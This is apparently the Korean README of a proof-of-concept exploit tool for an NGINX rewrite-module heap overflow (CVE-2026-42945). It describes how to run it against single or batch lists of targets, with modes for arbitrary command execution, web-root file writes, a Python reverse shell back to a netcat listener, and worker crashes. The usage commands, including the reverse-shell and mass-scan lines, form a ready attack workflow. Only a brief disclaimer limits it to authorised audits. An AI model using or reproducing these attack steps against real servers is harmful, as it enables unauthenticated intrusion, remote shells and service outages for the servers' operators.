NGINX Rift RCE 익스플로잇 (CVE-2026-42945) - @DepthFirstDisclosures 제작
NGINX Rift 취약점(ngx_http_rewrite_module의 치명적인 힙 기반 버퍼 오버플로)을 연구하고 식별하기 위한 전문 PoC(Proof-of-Concept) 도구입니다.
취약점 개요
- CVE ID: CVE-2026-42945
- 별칭: NGINX Rift
- 심각도: Critical (CVSS 9.2)
- 영향받는 버전: NGINX 0.6.27 ~ 1.30.0
- 근본 원인: 이름 없는 PCRE 캡처($1, $2)와 ?가 포함된 대체 문자열을 사용할 때 2-pass rewrite 엔진에서 발생하는 크기 불일치 오류
- 영향: 인증 없는 원격 코드 실행(RCE) 또는 서비스 거부(DoS)
기능
- 다중 모드 지원: 단일 URL 또는 .txt 파일의 배치 목록을 통한 테스트
- 여러 익스플로잇 방식:
- id: id 명령 실행(기본값)
- sleep: 시간 기반 검증(블라인드 RCE에 적합)
- write: 일반적인 웹 루트 디렉터리에 파일 쓰기 시도
- shell: Python 기반 리버스 셸 전송
- crash: 간단한 워커 프로세스 크래시(DoS) 유발
- 색상 구분 인터페이스: 취약(Green), 안전(Red), 디버그(Yellow/Blue) 상태를 명확하게 표시
- 상세 로깅: 연구자를 위한 소켓 수준의 상세 상호작용 기록
사용 방법
1. 단일 대상 스캔
python3 poc.py --url http://target.com --method id
2. 다중 대상 배치 스캔
targets.txt 파일을 만들고 한 줄에 URL 하나씩 입력합니다:
http://1.2.3.4
https://docs.company.com
http://server.internal:8080
그런 다음 실행합니다:
python3 poc.py --list targets.txt --method sleep
3. 사용자 지정 명령 및 상세 모드
python3 poc.py --url http://target.com --cmd "whoami" --verbose
4. 리버스 셸
먼저 리스너를 실행합니다: nc -lvp 1337
python3 poc.py --url http://target.com --method shell --listen-ip [YOUR_IP] --listen-port 1337
결과 이해하기
- [+] VULNERABLE (Green): 익스플로잇이 메모리 손상 시그니처를 유발했습니다. sleep과 함께 사용한 경우 응답 시간이 sleep 지속 시간과 일치하는지 확인하세요.
- [-] Target not vulnerable (Red): 제공된 메모리 후보를 사용해 익스플로잇이 크래시를 유발하지 못했습니다.
- [DEBUG] (Yellow/Blue): 힙 스프레이 및 후보 주소에 대한 배경 정보.
요구 사항 및 제한 사항
- Python 3.x: 외부 라이브러리 필요 없음(표준 socket 및 argparse 사용)
- ASLR: 이 PoC는 정적 메모리 주소를 사용합니다. ASLR이 활성화된 시스템에서는 메모리 누수 정보가 제공되지 않는 한 RCE보다는 서비스 거부(DoS)가 발생할 가능성이 높습니다.
- 보안 강화: 이그레스 필터링(방화벽)으로 인해 curl 또는 shell 방식이 데이터를 다시 전송하지 못할 수 있습니다. 가장 확실한 확인을 위해 sleep 방식을 사용하세요.
면책 조항
이 도구는 교육 목적 및 승인된 보안 감사에만 사용해야 합니다. 저자는 이 스크립트로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 인프라를 테스트하기 전에 항상 명시적인 허가를 받으십시오.